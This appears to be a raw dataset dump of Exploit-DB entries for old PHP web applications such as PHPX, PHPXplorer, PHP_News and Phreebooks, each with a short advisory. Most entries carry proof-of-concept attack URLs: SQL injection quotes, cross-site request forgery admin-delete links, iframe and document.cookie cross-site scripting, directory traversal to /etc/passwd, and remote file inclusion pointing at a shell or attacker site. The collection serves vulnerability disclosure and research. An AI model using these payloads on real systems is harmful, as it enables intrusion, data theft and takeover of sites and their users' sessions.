deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29757
Description: PHPX 3.5.15/3.5.16 - 'forums.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-19
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/23033/info
 
PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/phpx/forums.php?cat_id='
http://www.example.com/phpx/forums.php?forum_id=1&topic_id='
http://www.example.com/phpx/forums.php?forum_id=1&topic_id=1&post_id='
Exploit-DB #29760
Description: PHPX 3.5.15/3.5.16 - 'gallery.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-19
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/23033/info
    
PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
    
http://www.example.com/phpx/gallery.php?action=viewCat&cat_id='
Exploit-DB #29756
Description: PHPX 3.5.15/3.5.16 - 'print.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-19
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/23033/info

PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/phpx/print.php?action=news&news_id='
Exploit-DB #29758
Description: PHPX 3.5.15/3.5.16 - 'users.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-19
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/23033/info
  
PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/phpx/users.php?action=view&user_id='
Exploit-DB #27305
Description: PHPX 3.5.9 - XCode Tag HTML Injection
Type: webapps
Platform: php
Date: 2006-02-23
Author: Thomas Pollet

Exploit:
source: https://www.securityfocus.com/bid/16799/info

PHPX is prone to an HTML-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

PHPX version 3.5.9 is vulnerable; other versions may also be affected.

An example has been provided:

url=javascript:[code]]text[/url]
Exploit-DB #24092
Description: PHPX 3.x - '/forums.php' Cross-Site Request Forgery / Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-05-05
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10284/info
  
It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.
  
This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/forums.php?action=words&subaction=delete&word_id=[VID]
http://www.example.com/admin/forums.php?action=flag&subaction=delete&flag_id=[VID]
http://www.example.com/admin/forums.php?action=xcode&subaction=delete&xcode_id=[VID]
Exploit-DB #24091
Description: PHPX 3.x - '/images.php' Cross-Site Request Forgery / Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-05-05
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10284/info
  
It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.
  
This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/images.php?action=delete&image_id=[VID]
Exploit-DB #24089
Description: PHPX 3.x - '/news.php' Cross-Site Request Forgery / Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-05-05
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10284/info
 
It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.
 
This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/news.php?action=delete&news_id=[VID]
Exploit-DB #24088
Description: PHPX 3.x - '/page.php' Cross-Site Request Forgery / Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-05-05
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10284/info

It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.

This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/page.php?action=delete&page_id=[VID]
Exploit-DB #24090
Description: PHPX 3.x - '/user.php' Cross-Site Request Forgery / Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-05-05
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10284/info
  
It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.
  
This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/user.php?action=delete&user_id=[VID]
Exploit-DB #24083
Description: PHPX 3.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-05-05
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10283/info

It has been reported that PHPX is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forums.php?forum_id=[VID]&limit=25%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]&limit=15%3Ciframe%3E
http://www.example.com/users.php?action=&limit=100%3Ciframe%3E
http://www.example.com/users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?action=post&forum_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?action=search&search_id=[VID]&limit=25%3E%3Ciframe%3E
http://www.example.com/users.php?action=email&user_id=%3E%3Ciframe%3E
http://www.example.com/users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]&limit=%3E%3Ciframe%3E
http://www.example.com/forums.php?action=post&forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
http://www.example.com/news.php?news_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
Exploit-DB #3184
Description: phpXD 0.3 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-23
Author: 3l3ctric-Cracker

Exploit:
               _________________________________
      ________|                                 |________
      \       |              Dr Max Virus       |       /
       \      |                                 |      /
       /      |_________________________________|      \
      /___________)                         (___________\
------------------------------------------------------------------------------------------------------------------------
Script:phpxd
Affected Version:0.3
Downlaoad:http://websec.science.uva.nl/~kaper/xml_archief/phpXD/phpxd_0.3.tar.gz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (include/)
Vul Code;
require($path."include/dom/Node.php");
require($path."include/dom/Attr.php");
require($path."include/dom/CharacterData.php");
require($path."include/dom/Comment.php");
require($path."include/dom/Document.php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/include/dom.php?path=[Bad Code]
http://[target]/[path]/include/dtd.php?path=[Bad Code]
http://[target]/[path]/include/parser.php?path=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-23]
Exploit-DB #27107
Description: PHPXplorer 0.9.33 - 'action.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-01-16
Author: liz0

Exploit:
source: https://www.securityfocus.com/bid/16292/info

phpXplorer is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

Version 0.9.33 is vulnerable; other versions may also be affected. 

http://www.example.com/folder/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00
Exploit-DB #27097
Description: PHPXplorer 0.9.33 - 'Workspaces.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-01-16
Author: Oriol Torrent Santiago

Exploit:
source: https://www.securityfocus.com/bid/16263/info

phpXplorer is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

Version 0.9.33 is vulnerable; other versions may also be affected. 

http://www.example.com/phpXplorer/system/workspaces.php?sShare=../../../../../../../../etc/passwd%00&ref=1
Exploit-DB #35329
Description: PHPXref 0.7 - 'nav.html' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-09
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/46302/info

PHPXref is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and steal cookie-based authentication credentials.

Versions prior to PHPXref 0.7 are vulnerable; other versions may also be affected. 

http://www.example.com/nav.html?javascript:alert(document.cookie)
Exploit-DB #8005
Description: phpYabs 0.1.2 - 'Azione' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-06
Author: Arka69

Exploit:
********************************************************************************
                                             phpyabs 0.1.2 RFI Vulnerability

********************************************************************************
FOUND BY: Arka69
BUG: Remote File Include (RFI)
CMS: phpyabs 0.1.2
SITE: http://exploita.altervista.org
********************************************************************************

VULNERABLE CODE: (phpyabs/moduli/libri/index.php)

  include($_GET['Azione'].".php");

********************************************************************************
RFI:

http://victim.com/phpyabs/moduli/libri/index.php?Azione=[SHELL]

# milw0rm.com [2009-02-06]
Exploit-DB #26714
Description: PHPYellowTM 5.33 - 'print_me.php?ckey' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-03
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15700/info
 
phpYellowTM is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/print_me.php?ckey=[SQL]
Exploit-DB #26713
Description: PHPYellowTM 5.33 - 'search_result.php?haystack' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-03
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15700/info

phpYellowTM is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/search_result.php?search=url&haystack=[SQL]
Exploit-DB #28689
Description: PHP_news 2.0 - '/admin/catagory.php?language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20209/info
  
PHP_News is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
PHP_News version 2.0 is vulnerable to these issues.

http://www.example.com/[path]/admin/catagory.php?language=attacker's_site
Exploit-DB #28688
Description: PHP_news 2.0 - '/admin/news.php?language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20209/info
 
PHP_News is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
PHP_News version 2.0 is vulnerable to these issues.

http://www.example.com/[path]/admin/news.php?language=attacker's_site
Exploit-DB #28690
Description: PHP_news 2.0 - 'creat_news_all.php?language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20209/info
   
PHP_News is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
   
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
   
PHP_News version 2.0 is vulnerable to these issues.

http://www.example.com/[path]/creat_news_all.php?language=attacker's_site
Exploit-DB #28687
Description: PHP_news 2.0 - 'user_user.php?language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20209/info

PHP_News is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

PHP_News version 2.0 is vulnerable to these issues.

http://www.example.com/[path]/admin/user_user.php?language=attacker's_site
Exploit-DB #13778
Description: Phreebooks 2.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2010-06-08
Author: Gustavo Sorondo

Exploit:
Advisory Name: Directory Traversal in Phreebooks v2.0
Internal Cybsec Advisory Id:
Vulnerability Class: Directory Traversal
Release Date: 2010-05-26
Affected Applications: Phreebooks v2.0
Affected Platforms: Any running Phreebooks v2.0
Local / Remote: Remote
Severity: Medium – CVSS: 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Researcher: Gustavo Sorondo
Vendor Status: N/A
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
Vulnerability Description:
A vulnerability has been found in Phreebooks v2.0 which allows malicious people to access local files
by entering special characters in variables used to create file paths. The attackers use “../” sequences to
move up to root directory, thus permitting navigation through the file system.


Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13778.pdf (cybsec_advisory_2010_0601_Phreebooks_v2_0_Directory_Traversal.pdf)
Exploit-DB #13777
Description: Phreebooks 2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-08
Author: Gustavo Sorondo

Exploit:
Advisory Name: Local File Inclusion in Phreebooks v2.0
Internal Cybsec Advisory Id:
Vulnerability Class: Local File Inclusion
Release Date: 2010-05-26
Affected Applications: Phreebooks v2.0
Affected Platforms: Any running Phreebooks v2.0
Local / Remote: Remote
Severity: Medium – CVSS: 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Researcher: Gustavo Sorondo
Vendor Status: N/A
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
Vulnerability Description:
A vulnerability has been found in Phreebooks v2.0 which allows malicious people to include local files
by entering special characters in variables used to create file paths. The attackers use “../” sequences to
move up to root directory, thus permitting navigation through the file system.
The files are included into the scripts and its contents executed by the server.


Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13777.pdf (cybsec_advisory_2010_0602_Phreebooks_v2_0_Local_File_Inclusion.pdf)
Exploit-DB #13776
Description: Phreebooks 2.0 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-08
Author: Gustavo Sorondo

Exploit:
Advisory Name: Multiple Permanent Cross-site Scripting in Phreebooks v2.0
Internal Cybsec Advisory Id:
Vulnerability Class: Permanent Cross-site Scripting
Release Date: 2010-05-26
Affected Applications: Phreebooks v2.0
Affected Platforms: Any running Phreebooks v2.0
Local / Remote: Remote
Severity: Medium – CVSS: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Researcher: Gustavo Sorondo
Vendor Status: N/A
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
Vulnerability Description:
Multiple permanent Cross-site Scripting vulnerabilities were found in Phreebooks v2.0, because the
application fails to sanitize user-supplied input. The vulnerability can be triggered by any logged-in
user who is able to add or modify Vendors, Customers, Employees or Inventary items.


Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13776.pdf (cybsec_advisory_2010_0603_Phreebooks_v2_0_Multiple_Permanent_Cross_site_Scripting.pdf)